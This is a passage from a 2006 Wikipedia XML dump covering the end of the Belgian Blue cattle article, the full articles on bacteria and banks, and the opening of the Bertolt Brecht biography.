This breed has a natural mutation of the gene that codes for [[myostatin]], a protein that counteracts muscle growth.   The truncated myostatin is unable to function in this capacity.  This mutation also interferes with fat deposition, resulting in very lean meat.

Their sculpted, heavily muscled appearance is known as &quot;doubled muscled&quot;, and is a trait shared by the [[Piedmont (Italy)|Piedmontese]] breed.

==References==
*''Discover'' magazine, January 2005, &quot;Secret of Superboy's Strength Revealed&quot;

{{agri-stub}}
[[Category:Cattle breeds]]

[[fr:Blanc bleu belge]]
[[fi:Belgian Blue]]
[[Image:http://fig.cox.miami.edu/~cmallery/150/neuro/belgian.blue.jpg]]</text>
    </revision>
  </page>
  <page>
    <title>Bacteria</title>
    <id>3752</id>
    <revision>
      <id>42135331</id>
      <timestamp>2006-03-04T01:28:55Z</timestamp>
      <contributor>
        <username>Tawker</username>
        <id>212671</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.29.41.131|24.29.41.131]] ([[User talk:24.29.41.131|Talk]]) to last version by Latinus</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgrey
| name = Bacteria
| image = EscherichiaColi NIAID.jpg
| image_width = 200px
| image_caption = ''[[Escherichia coli]]''
| domain = '''Bacteria'''
| subdivision_ranks = Subgroups
| subdivision = 
[[Actinobacteria]]&lt;br /&gt;
[[Aquificae]]&lt;br /&gt;
[[Bacteroidetes]]/[[Chlorobi]]&lt;br /&gt;
[[Chlamydiae]]/[[Verrucomicrobia]]&lt;br /&gt;
[[Chloroflexi]]&lt;br /&gt;
[[Chrysiogenetes]]&lt;br /&gt;
[[Cyanobacteria]]&lt;br /&gt;
[[Deferribacteraceae|Deferribacteres]]&lt;br /&gt;
[[Deinococcus-Thermus]]&lt;br /&gt;
[[Dictyoglomi]]&lt;br /&gt;
[[Fibrobacteres]]/[[Acidobacteria]]&lt;br /&gt;
[[Firmicutes]]&lt;br /&gt;
[[Fusobacteria]]&lt;br /&gt;
[[Gemmatimonadetes]]&lt;br /&gt;
[[Nitrospirae]]&lt;br /&gt;
[[Planctomycetes]]&lt;br /&gt;
[[Proteobacteria]]&lt;br /&gt;
[[Spirochaete]]s&lt;br /&gt;
[[Thermodesulfobacteria]]&lt;br /&gt;
[[Thermomicrobia]]&lt;br /&gt;
[[Thermotogae]]
}}

'''Bacteria''' (singular: '''bacterium''') are a major group of living [[organism]]s. Most are microscopic and unicellular, with a relatively simple cell structure lacking a [[cell nucleus]], and organelles such as [[mitochondrion|mitochondria]] and [[chloroplast]]s. Their cell structure is further described in the article about [[prokaryote]]s, because bacteria are prokaryotes, in contrast to organisms with more complex cells, called [[eukaryote]]s. The term &quot;bacteria&quot; has variously applied to all prokaryotes or to a major group of them, otherwise called the '''eubacteria''', depending on ideas about their relationships. Here, bacteria is used specifically to refer to the eubacteria.

Bacteria are the most abundant of all organisms.  They are ubiquitous in [[soil]], [[water]], and as [[symbiosis|symbiont]]s of other organisms.  Many [[pathogen]]s, disease-causing organisms, are bacteria.  Most are minute, usually only [[1 E-6 m|0.5-5.0 &amp;mu;m]] in their longest dimension, although giant bacteria like ''[[Thiomargarita namibiensis]]'' and ''[[Epulopiscium fishelsoni]]'' may grow past 0.5 mm in size.  They generally have [[cell wall]]s, like [[plant]] and [[fungus|fungal]] [[Cell (biology)|cell]]s, but with a very different composition ([[peptidoglycan]]s).  Many move around using [[flagellum|flagella]], which are different in structure from the flagella of other groups.

== History ==
The first bacteria were observed by [[Antony van Leeuwenhoek]] in 1676 using a single-lens microscope of his own design.  The name ''bacterium'' was introduced much later, by [[Christian Gottfried Ehrenberg|Ehrenberg]] in 1828, derived from the [[Greek word]]  &amp;#946;&amp;#945;&amp;#954;&amp;#964;&amp;#951;&amp;#961;&amp;#953;&amp;#959;&amp;#957; meaning &quot;small stick&quot;.  Because of the difficulty in describing individual bacteria and the importance of their discovery to fields such as medicine, biochemistry and geochemisty, the history of bacteria is generally described as the history of [[microbiology]].

==Reproduction==
Bacteria reproduce through [[asexual reproduction]] which results in [[cell division]]. Two identical [[Cloning|clone]] '''daughter cells''' are produced. [[Bacterial growth|Bacterial population growth]] is thus sometimes said to follow an approximate [[exponential growth]] phase.

== Movement ==
[[image:flagella.png|thumb|100px|left|
A-Monotrichous;
B-Lophotrichous; 
C-Amphitrichous;
D-Peritrichous;]]
''Motile'' bacteria can move about, either using [[flagellum|flagella]], [[bacterial gliding]], or changes of buoyancy. A unique group of bacteria, the [[spirochaete]]s, have structures similar to flagella, called [[axial filament]]s, between two membranes in the periplasmic space. They have a distinctive [[helix|helical]] body that twists about as it moves.

Bacterial flagella are arranged in many different ways. Bacteria can have a single polar flagellum at one end of a cell, clusters of many flagella at one end or  flagella scattered all over the cell, as with ''[[Peritrichous]]''. Many bacteria (such as ''E.coli'') have two distinct modes of movement: forward movement (swimming) and tumbling. The tumbling allows them to reorient and introduces an important element of [[random]]ness in their forward movement. (see external links below for link to videos).

Motile bacteria are attracted or repelled by certain [[stimulus | stimuli]], behaviors called ''taxes'' -  for instance, [[chemotaxis]], [[phototaxis]], [[mechanotaxis]] and [[magnetotaxis]].  In one peculiar group, the [[myxobacteria]], individual bacteria attract to form swarms and may differentiate to form fruiting bodies. The [[myxobacteria]] move only when on solid surfaces, unlike ''E. coli'' which is motile in liquid or solid media.

== Groups and identification ==
[[image:bacteria_shape.png|right|framed|Bacteria come in a wide variety of shapes:
&lt;!--&quot;-shaped&quot; is incorrect here: if an object is physically SHAPED into the form of a rod, then the object is &quot;rod-SHAPED&quot;; however, if an object's STATE-OF-BEING has the SHAPE of a rod, then the object is &quot;rod-SHAPE&quot;--&gt;

&lt;!--also, &quot;round-shaped&quot; or &quot;round-shape&quot; is nonsensical; &quot;round&quot; suffices
also, no periods at the end of each line, except last: line-breaks suffice as delimiters--&gt;
&lt;br /&gt;A. Rod-shape
&lt;br /&gt;B. Round or spherical
&lt;br /&gt;C. Round in clusters
&lt;br /&gt;D. Round in twos
&lt;br /&gt;E. Spiral
&lt;br /&gt;F. Comma-shape.]]

Bacteria come in a variety of different shapes.  Most are rod-shape, sphere-shape, or helix-shape; these are referred to as [[bacillus|bacilli]], [[coccus|cocci]], and [[spirillum|spirilla]], respectively.  An additional group, [[vibrio]]s, are comma-shape.  Shape is no longer considered a defining factor in the classification of bacteria, but many genera are named for their shape (e.g., ''[[Bacillus]]'', ''[[Streptococcus]]'', ''[[Staphylococcus]]''), and it is an important part in their identification.

Another important tool is [[Gram staining]], named after [[Hans Christian Gram]] who developed the technique.  This separates bacteria into two groups, based on the composition of their cell wall.  The first formal grouping of bacteria into phyla was based largely on this test:

* '''Gracilicutes''' - bacteria with a second cell membrane containing [[lipid]]s, giving them [[Gram-negative]] stains
* '''Firmicutes''' - bacteria with a single membrane and thick [[peptidoglycan]] wall, giving them [[Gram-positive]] stains
* '''Mollicutes''' - bacteria with no second membrane or wall, giving them [[Gram-negative]] stains.

The archaebacteria were originally included as the Mendosicutes.  As given, these phyla are no longer believed to represent monophyletic groups.  The Gracilicutes have been divided into many different phyla.  Most gram-positive bacteria are placed in the phyla [[Firmicutes]] and [[Actinobacteria]], which are closely related.  However, the Firmicutes have been redefined to include the [[mycoplasma]]s (Mollicutes) and certain Gram-negative bacteria.

== Benefits and dangers ==
Bacteria are both harmful and useful to the [[natural environment|environment]], and [[animal]]s, including [[human]]s. The role of bacteria in disease and infection is important. Some bacteria act as [[pathogen]]s and cause [[tetanus]], [[typhoid fever]], [[pneumonia]], [[syphilis]], [[cholera]],  [[foodborne illness]], [[leprosy]], and [[tuberculosis]](TB). [[Sepsis]], a systemic infectious syndrome characterized by shock and massive vasodilation, or localized infection, can be caused by bacteria such as ''[[Streptococcus]]'', ''[[Staphylococcus]]'', or many gram-negative bacteria.  Some bacterial infections can spread throughout the host's body and become ''systemic''. In [[plant]]s, bacteria cause [[leaf spot]], [[fireblight]], and [[wilting|wilts]]. The mode of infection includes contact, air, food, water, and [[insect-borne]] microorganisms. The hosts infected with the pathogens may be treated with [[antibiotic]]s, which can be classified as [[bacteriocide|bacteriocidal]] and [[bacteriostatic]], which at concentrations that can be reached in bodily fluids either kill bacteria or hamper their growth, respectively. [[Antiseptic]] measures may be taken to prevent infection by bacteria, for example, prior to cutting the skin during surgery or swabbing skin with alcohol when piercing the skin with the needle of a syringe. [[Sterilization (microbiology)|Sterilization]] of surgical and dental instruments is done to make them ''sterile'' or pathogen-free to prevent contamination and infection by bacteria. ''Sanitizers'' and [[disinfectants]] are used to kill bacteria or other pathogens to prevent contamination and risk of infection.

In soil, microorganisms which reside in the [[rhizosphere]] (a zone that includes the root surface and the soil that adheres to the root after gentle shaking) help in the transformation of molecular dinitrogen gas as their source of nitrogen, converting it to nitrogenous compounds in a process known as [[nitrogen fixation]]. This serves to provide an easily absorbable form of nitrogen for many plants, which cannot fix nitrogen themselves. Many other bacteria are found as [[symbiont]]s [[Bacteria in the human body|in humans]] and other organisms. For example, the presence of the [[gut flora]] in the large intestine can help prevent the growth of potentially harmful microbes.

The ability of bacteria to degrade a variety of organic compounds is remarkable. Highly specialized groups of microorganisms play important roles in the [[mineralization]] of specific classes of organic compounds.  For example, the decomposition of [[cellulose]], which is one of the most abundant constituents of plant tissues, is mainly brought about by aerobic bacteria that belong to the genus ''[[Cytophaga]]''. This ability has also been utilized by humans in industry, waste processing, and [[bioremediation]]. Bacteria capable of digesting the [[hydrocarbons]] in [[petroleum]] are often used to clean up [[oil spill]]s. Some beaches in [[Prince William Sound]] were fertilized in an attempt to facilitate the growth of such bacteria after the infamous 1989 [[Exxon Valdez oil spill]].  These efforts were effective on beaches that were not too thickly covered in oil. 

Bacteria, often in combination with [[yeast]]s and [[mold]]s, are used in the preparation of [[fermentation|fermented]] foods such as [[cheese]], [[pickle]]s, [[soy sauce]], [[sauerkraut]], [[vinegar]], [[wine]], and [[yogurt]]. Using [[biotechnology]] techniques, bacteria can be [[bioengineer]]ed for the production of therapeutic drugs, such as [[insulin]], or for the [[bioremediation]] of [[toxic waste]]s.

== Miscellaneous ==

Two [[organelle]]s, [[mitochondrion|mitochondria]] and [[chloroplast]]s, are generally believed to have been derived from [[endosymbiotic theory|endosymbiotic]] bacteria.

Microorganisms are widely distributed and are most abundant where they have food, moisture, and the right temperature for their multiplication and growth. They can be carried by air currents from one place to another. The [[human body]] is home to billions of microorganisms; they can be found on skin surfaces, in the intestinal tract, in the mouth, nose, and other body openings.  They are in the air one breathes, the water one drinks, and the food one eats.

The great antiquity of the bacteria has enabled them to evolve a great deal of genetic diversity. They are far more diverse than, say, the [[mammal]]s or [[insect]]s. For instance, the genetic distance between ''E. coli'' and ''Thermus aquaticus'' is greater than the distance between humans and [[oak]] trees.

Bacteria have the ability to ''perceive'' the concentration gradient of stimuli to a resolution of one part per 10k (equivalent to a human being able to discern between two coin-filled jars, one filled with 9,999, the other with 10,000).

==See also== 
*[[Bacterial growth]]
*[[Bacteriocin]]
*[[Magnetotactic bacteria]]
*[[Microorganism]]
*[[Nanobacterium]]
*[[Transgenic bacteria]]

== Sources ==
* Some text in this entry was merged with the ''[[Nupedia]]'' article entitled ''Bacteria'', written by Nagina Parmar; reviewed and approved by the Biology group (editor: Gaytha Langlois, lead reviewer: Gaytha Langlois, lead copyeditors: Ruth Ifcher and Jan Hogle)
* {{NCBI-scienceprimer}}

== Further reading ==
* Alcamo, I. Edward. ''Fundamentals of Microbiology''. 5th ed.  Menlo Park, California: Benjamin Cumming, 1997.
* Atlas, Ronald M. ''Principles of Microbiology''.  St. Louis, Missouri: Mosby, 1995.
* Holt, John.G. Bergey's ''Manual of Determinative Bacteriology''. 9th ed. Baltimore, Maryland: Williams and Wilkins, 1994.
* Hugenholtz P, Goebel BM, Pace NR. ''Impact of Culture-Independent Studies on the Emerging Phylogenetic View of Bacterial Diversity''. J Bacteriol 1998;180:4765-4774. [http://jb.asm.org/cgi/content/full/180/18/4765?view=full&amp;pmid=9733676 Fulltext] / PMID 9733676.
* {{cite journal | author=Koshland, Daniel E., Jr. | title=A Response Regulator Model in a Simple Sensory System | journal=Science | year=1977 | volume=196 | pages=1055-1063}}
* Stanier, R.Y., J. L. Ingraham, M. L. Wheelis, and P. R. Painter. ''General Microbiology''. 5th ed.  Upper Saddle River, New Jersey: Prentice Hall, 1986.

==External links==
*[http://www.dsmz.de/bactnom/bactname.htm Bacterial Nomenclature Up-To-Date from DSMZ]
*[http://www.zytologie-online.net/bakterien.php Bacterial Growth and Cell Wall (Ger)]
*[http://www.indiana.edu/~pietsch/microminds.html Microminds]
*[http://www.sciencenews.org/pages/sn_arc99/4_17_99/fob5.htm The largest bacteria]
*[http://tolweb.org/tree?group=Eubacteria&amp;contgroup=Life_on_Earth Tree of Life]
*[http://www.rowland.harvard.edu/labs/bacteria/index_movies.html Videos] of bacteria swimming and tumbling, use of optical tweezers and other fine videos.
*[http://www.stephenjaygould.org/library/gould_bacteria.html Planet of the Bacteria by Stephen Jay Gould]

[[Category:Bacteria|*]]
[[Category:Bacteriology]]

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    </revision>
  </page>
  <page>
    <title>Bank</title>
    <id>3753</id>
    <revision>
      <id>42051891</id>
      <timestamp>2006-03-03T13:43:50Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removed link.  Required survey then never started download.  : /</comment>
      <text xml:space="preserve">{{otheruses}}

A '''bank''' is an institution that provides [[financial service]], particularly taking [[deposits]] and extending [[credit (finance)|credit]]. 

Currently the term ''bank'' is generally understood as an institution that holds a [[banking license]]. Banking licenses are granted by [[bank regulation|bank regulatory]] authorities and provide rights to conduct the most fundamental banking services such as accepting [[deposit]]s and making [[loan]]s. There are also financial institutions that provide certain banking services without meeting the legal definition of a bank, a so called [[non-banking financial company]]. 

Banks have a long [[History of banking|history]], and have influenced economies and politics for centuries.

The word ''bank'' is derived from the [[Italian language|Italian]] ''banca,'' which is derived from [[German language]] and means [[bench]]. The terms [[bankruptcy|bankrupt]] and &quot;broke&quot; are similarly derived from ''banca rotta'', which refers to an out-of-business bank, having its bench physically broken. Money lenders in Northern Italy originally did business in open areas, or big open rooms, with each lender working from his own bench or table.

Traditionally, a bank generates profits from transaction fees on financial services and on the interest it charges for lending. In recent history, with historically low interest rates a limited ability to earn money by lending deposited funds, much of a bank's income is provided by [[overdraft]] fees and riskier investments.

==Services typically offered by banks==
Although the type of services offered by a bank depends upon the type of bank and the country, services provided usually include:
* Taking deposits from the general public and issuing [[checking account|checking]] and [[savings account]]s
* Making [[loans]] to individuals and businesses
* Cashing [[check (finance)|cheque]]s
* Facilitating money transactions such as [[wire transfer]]s and [[cashiers check]]s
* Issuing [[credit card]]s, [[Automatic Teller Machine|ATM]], and [[debit card]]s
* Storing valuables, particularly in a [[safe deposit box]]

==Types of Bank ==
Banks' activities can be characterised as [[retail banking]], dealing direct with individuals and small businesses, and [[investment banking]], relating to activities on the [[financial markets]]. Most banks are profit-making, private enterprises. However, some are owned by government, or are non-profit making.

In some jurisdictions retail and investment activities are, or have been, separated by law.

[[Central bank]]s are non-commercial bodies or government agencies tasked with responsibility for controlling [[interest rate]]s and [[money supply]] across the whole economy. They act as [[Lender of last resort]] in event of a crisis.

===Types of retail banks===
*[[Commercial bank]], is the term used for a normal bank to distinguish it from an investment bank. Since the two no longer have to be under separate ownership, some use the term &quot;commercial bank&quot; to refer to a bank or a division of a bank that mostly deals with corporations or large businesses.
*[[Community development bank]] are regulated banks that provide financial services and credit to underserved markets or populations.
*[[Postal savings bank]]s are savings banks associated with national postal systems. Japan and Germany are examples of countries with prominent postal savings banks. 
*[[Private bank]]s manage the assets of high net worth individuals.
*[[Offshore bank]]s are banks located in jurisdictions with low taxation and regulation, such as Switzerland or the [[Channel Islands]]. Many offshore banks are essentially private banks.
*[[Savings bank]]s traditionally accepted savings deposits and issued mortgages. Today, some countries have broadened the permitted activities of savings banks.
*[[Building societies]] and [[Landesbank]]s both conduct retail banking

===Types of investment banks===
*[[Investment bank]]s &quot;[[underwrite]]&quot; (guarantee the sale of) stock and bond issues and advise on mergers. Examples of investment banks are [[Goldman Sachs]] of the [[USA]] or [[Nomura Group]] of [[Japan]].
*[[Merchant bank]]s were traditionally banks which engaged in trade financing. The modern definition, however, refers to banks which provides capital to firms in the form of shares rather than loans. Unlike [[Venture capital firm]]s, they tend not to invest in new companies.

===Both combined===
*[[Universal bank]]s, more commonly known as a [[financial services]] company, engage in several of these activities. For example, [[Citigroup]], a very large American bank, is involved in commercial and retail lending; it owns a merchant bank (Citicorp Merchant Bank Limited) and an investment bank ([[Salomon Smith Barney]]); it operates a private bank (Citigroup Private Bank); finally, its subsidiaries in tax-havens offer offshore banking services to customers in other countries. Almost all large financial institutions are diversified and engage in multiple activities. In Europe and Asia, big banks are very diversified groups that, among other services, distribute also insurance, hence the [[bancassurance]] term.

===Other types of banks===
*[[Islamic bank]]s adhere to the concepts of [[Islamic law]]. Islamic banking revolves around several well established concepts which are based on Islamic canons. Since the concept of Interest is forbidden in Islam, all banking activities must avoid interest. Instead of interest, the Bank earns profit (mark-up) and fees on financing facilities that it extends to the customers. Also, deposit makers earn a share of the Bank’s profit as opposed to a predetermined interest.

==Banks in the economy==

===Role in the money supply===
A bank raises funds by attracting deposits, borrowing money in the inter-bank market, or issuing [[financial instruments]] in the [[money market]] or a [[capital market]]. The bank then lends out most of these funds to borrowers.

However, it would not be prudent for a bank to lend out all of its balance sheet. It must keep a certain proportion of its funds in reserve so that it can repay depositors who withdraw their deposits. Bank reserves are typically kept in the form of a deposit with a [[central bank]]. This behaviour is called [[fractional-reserve banking]] and it is a central issue of [[monetary policy]]. Some governments (or their central banks) restrict the proportion of a bank's balance sheet that can be lent out, and use this as a tool for controlling the [[money supply]]. Even where the reserve ratio is not controlled by the government, a minimum figure will still be set by regulatory authorities as part of [[bank regulation]].

===Bank crises===
Banks are susceptible to many forms of risk which have triggered occasional systemic crises. Risks include liquidity risk (the risk that many depositors will request withdrawals beyond available funds), credit risk (the risk that those that owe money to the bank will not repay), and interest rate risk (the risk that the bank will become unprofitable if rising interest rates force it to pay relatively more on its deposits than it receives on its loans), among others. 

Banking crises have developed many times throughout history when one or more risks materialize for a banking sector as a whole. Prominent examples include the U.S. [[Savings and Loan crisis]] in 1980s and early 1990s, the [[Japan]]ese banking crisis during the 1990s, and the [[bank run]] that occurred during the [[Great Depression]],and the recent liquidation by the central Bank of Nigeria.where about 25 banks were liquidated

==Regulation==
{{Main|Bank regulation}}
The combination of the instability of banks as well as their important facilitating role in the economy led to banking being thoroughly regulated.  The amount of capital a bank is required to hold is a function of the amount and quality of its assets. Major banks are subject to the Basel Capital Accord promulgated by the [[Bank for International Settlements]]. In addition, banks are usually required to purchase [[deposit insurance]] to make sure smaller investors are not wiped out in the event of a bank failure.  

Another reason banks are thoroughly regulated is that ultimately, no government can allow the banking system to fail. There is almost always a lender of last resort&amp;mdash;in the event of a liquidity crisis (where short term obligations exceed short term assets) some element of government will step in to lend banks enough money to avoid bankruptcy.  

==Public perceptions of banks==
In [[United States history]], the National Bank was a major political issue during the presidency of [[Andrew Jackson]]. Jackson fought against the bank as a symbol of greed and profit-mongering, antithetical to the [[democratic ideals]] of the United States.

Currently, many people are outraged due to various banking policies that take advantage of consumers. Specific concerns are policies that permit banks to hold deposited funds for several days, policies that permit banks to apply withdrawals before deposits, policies that permit applying withdrawals from greatest to least, which is most likely to cause the greatest [[overdraft]], policies that allow backdating funds transfers and fee assessments, and policies that authorize electronic funds transfers despite an [[overdraft]]..

==Profitability==
Large banks in the United States are some of the most profitable corporations, especially relative to the small [[market share]]s they have. This amount is even higher if one counts the credit divisions of companies like Ford, which are responsible for a large proportion of those company's profits. For example, the largest bank, [[Citigroup]], which for the past 3 years has made more profit than any other company in the world, has only a 5% market share. Now if Citigroup were to be as dominant in its industry as a Home Depot, Starbucks, or Wal Mart in their respective industries, with a 30% market share , it would make more money than the top ten non-banking U.S. industries combined.

In the past 10 years in the United States, banks have taken many measures to ensure that they remain profitable while responding to ever-changing market conditions. First, this includes the [[Gramm-Leach-Bliley Act]], which allows banks again to merge with investment and insurance houses. Merging banking, investment, and insurance functions allows traditional banks to respond to increasing consumer demands for &quot;one stop shopping&quot; by enabling cross-selling of products (which, the banks hope, will also increase profitability). Second, they have moved toward [[risk based pricing]] on loans, which means charging higher interest rates for those people who they deem more risky to [[default (finance)|default]] on loans. This dramatically helps to offset the losses from bad loans, lowers the price of loans to those who have better credit histories, and extends credit products to high risk customers who would have been denied credit under the previous system. Third, they have sought to increase the methods of payment processing available to the general public and business clients. These products include debit cards, pre-paid cards, smart-cards, and credit cards. These products make it easier for consumers to conveniently make transactions and smooth their consumption over time (in some countries with under-developed financial systems, it is still common to deal strictly in cash, including carrying suitcases filled with cash to purchase a home).  However, with convenience there is also increased risk that consumers will mis-manage their financial resources and accumulate excessive debt. Banks make money from card products through interest payments and fees charged to consumers and companies that accept the cards.

The banks' main obstacles to increasing profits are existing regulatory burdens, new government regulation, and increasing competition from non-traditional financial institutions.&lt;br /&gt;

==Bank Size Information==

===Top ten banking groups in the world ranked by [[tier 1 capital]] in 2004 (in [[U.S. dollar]]s)===
#[[Citigroup]] &amp;mdash; 73 [[billion]]
#[[JP Morgan Chase]] &amp;mdash; 69 billion
#[[HSBC]] &amp;mdash; 67 billion
#[[Bank of America]] &amp;mdash; 64 billion
#[[Crédit Agricole|Credit Agricole Group]] &amp;mdash; 63 billion
#[[Royal Bank of Scotland]] &amp;mdash; 43 billion
#[[Mitsubishi Tokyo Financial Group]] &amp;mdash; 40 billion
#[[Mizuho Financial Group]] &amp;mdash; 39 billion
#[[HBOS]] &amp;mdash; 36 billion
#[[BNP Paribas]] &amp;mdash; 35 billion

===Top ten banking groups in the world ranked by assets in 2003 (in [[U.S. dollar]]s)===
#[[Mizuho Financial Group]] &amp;mdash; 1,265 billion
#[[Citigroup]] &amp;mdash; 1,097 billion
#[[Allianz]] &amp;mdash; 1,002 billion
#[[UBS AG|UBS]] &amp;mdash; 907 billion
#[[Sumitomo Mitsui Financial Group]] &amp;mdash; 903 billion
#[[Deutsche Bank]] &amp;mdash; 892 billion
#[[Fannie Mae]] &amp;mdash; 888 billion
#[[ING Group]] &amp;mdash; 843 billion
#[[BNP Paribas]] &amp;mdash; 835 billion
#[[Mitsubishi Tokyo Financial Group]] &amp;mdash; 832 billion

===Top ten bank holding companies in the world ranked by profit in 2003 (in [[U.S. dollar]]s)===
#[[Citigroup]] &amp;mdash; 21 billion
#[[Bank of America]] &amp;mdash; 15 billion
#[[HSBC]] &amp;mdash; 10 billion
#[[Royal Bank of Scotland]] &amp;mdash; 8 billion
#[[Wells Fargo]] &amp;mdash; 7 billion
#[[JP Morgan Chase]] &amp;mdash; 7 billion
#[[UBS AG]] &amp;mdash; 6 billion
#[[Wachovia]] &amp;mdash; 5 billion
#[[Morgan Stanley]] &amp;mdash; 5 billion
#[[Merrill Lynch]] &amp;mdash; 4 billion

===Top ten bank holding companies in the U.S. ranked by deposits (in [[U.S. dollar]]s)===
As of June 30, 2004. These are U.S. deposits only. This is not a ranking of the largest U.S. based global banks.

#[[Bank of America]] Corp. &amp;mdash; 526 billion
#[[Wells Fargo]] &amp; Co. &amp;mdash; 256 billion
#[[Wachovia]] Corp. &amp;mdash; 238 billion
#[[J.P. Morgan Chase]] &amp; Co. &amp;mdash; 227 billion (1)
#[[Citigroup]] Inc. &amp;mdash; 193 billion
#[[Bank One]] Corp. &amp;mdash; 150 billion (1)
#[[U.S. Bancorp]] &amp;mdash; 112 billion
#[[SunTrust Banks]], Inc. &amp;mdash; 78 billion
#[[BB&amp;T Corporation]] &amp;mdash; 67 billion
#[[National City Corp.]] &amp;mdash; 64 billion

(1) Since this report, J.P. Morgan Chase &amp; Co. has acquired Bank One Corp., making the combined 6/30/04 deposit total for the merged company $377 billion, vaulting it to second place on the list.

==History of banking==
''Main article:'' [[History of banking]]
* Florentine banking &amp;mdash; The [[Medici]]s and [[Pitti]]s among others
* [[Banknote]]s &amp;mdash; Introduction of paper money
* [[Bank of Amsterdam]]
* [[Bank of Sweden]] &amp;mdash; The rise of the [[national bank]]s
* [[Bank of England]] &amp;mdash; The evolution of modern central banking policies
* [[Bank of America]] &amp;mdash; The invention of centralized check and payment processing technology
* [[Swiss bank]]
* [[United States Banking]]
* [[Imperial Bank of Persia]] &amp;mdash; History of banking in the Middle-East

==See also==
* [[History of banking]]
* [[List of bank mergers in United States]]
* [[Bank regulation]]
* [[Credit union]]
* [[Finance]]
* [[Industrial Loan Company]]
* [[Islamic Banking]]
* [[Money]]
* [[Piggy Bank]]
* [[SWIFT]]
* [[IBAN]]
* [[Venture capital]]
* [[World Bank]]
* [[Bankers' bank]]
* [[Mortgage bank]]
* [[Overdraft]]
* [[Overdraft Protection]]
* [[list of banks]]
* [[list of finance topics]]
* [[list of accounting topics]]
* [[list of economics topics]]
* [[List of stock exchanges]]

==External links==
*[http://www.economist.com/markets/displayStory.cfm?story_id=4174345 List of the world's ten largest banks at the end of 2004]
*[http://www2.fdic.gov/sod/ FDIC bank market share data]
*[http://www.eh.net/encyclopedia/index.php#B EH.Net Encyclopedia] 

[[Category:Banks| ]]
[[Category:Banking]]
[[Category:Banking terms and equipment]]
[[Category:Legal entities]]
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    </revision>
  </page>
  <page>
    <title>Bertolt Brecht</title>
    <id>3754</id>
    <revision>
      <id>41984192</id>
      <timestamp>2006-03-03T01:14:15Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.7.176.133|202.7.176.133]] ([[User talk:202.7.176.133|Talk]]) to last version by PseudoSudo</comment>
      <text xml:space="preserve">{{unreferenced}}

[[Image:Brecccht.jpg|thumb|right|Bertolt Brecht]]
'''Bertolt Brecht''' ([[February 10]], [[1898]] &amp;ndash; [[August 14]], [[1956]]) was an influential [[Germany|German]] [[drama]]tist, [[Theatre director|stage director]], and [[poetry|poet]] of the [[20th century]].

== Life and career == 

Born in [[Augsburg]], [[Bavaria]], Brecht studied medicine and worked briefly as an orderly in a hospital in [[Munich]] during [[World War I]]. After the war he moved to [[Berlin]] where an influential critic, [[Herbert Ihering]], brought him to the attention of a public longing for modern theater. Brecht's first two plays, ''Baal'' and ''Drums in the Night'', had already had performances in Munich, and he got to know [[Erich Engel]], a director who worked with him off and on for the rest of his life. In Berlin, ''In the Jungle of the Cities'', starring [[Fritz Kortner]] and directed by Engel, became his first success. Brecht was also influenced by Asian theatre and its use of masks. This would later influence him to use &quot;alienation&quot; in his work.

During the postwar [[socialism|socialist]] governments and then the [[Weimar Republic]], Brecht met and began to work with [[Hanns Eisler]] &amp;mdash; the composer with whom he shared the closest friendship throughout his life. He also met [[Helene Weigel]], who would become his second wife and accompany him through exile and for the rest of his life. His first book of poems, ''Hauspostille'', won a literary prize.

He married the opera singer and actress [[Marianne Zoff]] in [[1922]]. Their daughter, [[Hanne Hiob]], born in [[1923]], is a well-known German actress. One year later they had a son, Stefan. In [[1930]] Brecht married Weigel, and their daughter [[Barbara Brecht-Schall | Barbara]] was born soon after. She also became an actress and currently holds the copyrights to all of Brecht's work. 

Brecht formed a writing collective which became prolific and very influential. [[Elisabeth Hauptmann]], [[Margarete Steffin]], [[Emil Burri]], [[Ruth Berlau]] and others worked with Brecht and produced the multiple ''Lehrstücke'' (teaching plays), which attempted a new dramaturgy for participants rather than passive audiences. These addressed themselves to the massive worker arts organisation that existed in [[Germany]] and [[Austria]] in the [[1920s]]. So did Brecht's first great play, ''Saint Joan of the Stockyards'', which attempted to portray the drama in financial transactions. He also worked in the theaters of [[Max Reinhardt (theatre director)|Max Reinhardt]] and [[Erwin Piscator]]. 

This collective adapted [[John Gay]]'s ''[[The Beggar's Opera]]'', with Brecht's songs set to music by [[Kurt Weill]]. Retitled ''[[The Threepenny Opera]]'' (&lt;i&gt;Die Dreigroschenoper&lt;/i&gt;) it was the largest hit in Berlin of the 1920s and a renewing influence on the [[Musical theater|musical]] worldwide. One of its most famous lines underscored the hypocrisy of conventional morality imposed by the Church, working in conjunction with the established order, in the face of working-class hunger and deprivation:

{|
|
:''Erst kommt das Fressen''&lt;br&gt;
:''Dann kommt die Moral.''&lt;br&gt;

|
:First the grub (lit. &quot;eating like animals, gorging&quot;)&lt;br&gt;
:Then the morality.

|}

The success of ''[[The Threepenny Opera]]'' was followed by the quickly thrown together ''Happy End''. It was a personal and a commercial failure. The book was then claimed to be by the mysterious Dorothy Lane (now known to be [[Elisabeth Hauptmann]], Brecht's secretary and close collaborator). Brecht only claimed authorship of the song texts. Brecht would later use elements of ''Happy End'' as the germ for his ''Saint Joan of the Stockyards'', a play that would never see the stage in Brecht's life-time. ''Happy End'''s most redeeming quality was its inspired score by Weill, producing many Brecht/Weill hits like  'Der Bilbao-Song' and 'Surabaya-Jonny'.

The masterpiece of the Brecht/Weill collaborations, ''[[Rise and Fall of the City of Mahagonny]] (Aufstieg und Fall der Stadt Mahagonny)'', premiered in 1930 in Leipzig with an uproar, having Nazis protesting the opera in the audience. The ''Mahagonny'' opera would premier later in Berlin in 1931 as a triumphant sensation. 

Brecht spent his last years in Berlin (1930-1933) working with his ‘collective’ on the ''Lehrstücke''. These were a group of plays driven by morals, music and Brecht's budding Epic Theatre. The ''Lehrstücke'' often aimed at educating workers on Socialist issues. ''The Measures Taken'', by far the most popular and scandalous of this series, was scored by [[Hanns Eisler]]. In addition, Brecht worked on a script for a semi-documentary feature film about the human impact of mass unemployment, [[Kuhle Wampe]] (1932), which was directed by [[Slatan Dudow]]. This striking film is notable for its subversive humour, outstanding [[cinematography]] by [[Günther Krampf]], and Hanns Eisler's dynamic musical contribution. It still provides a vivid insight into Berlin during the last years of the [[Weimar Republic]].

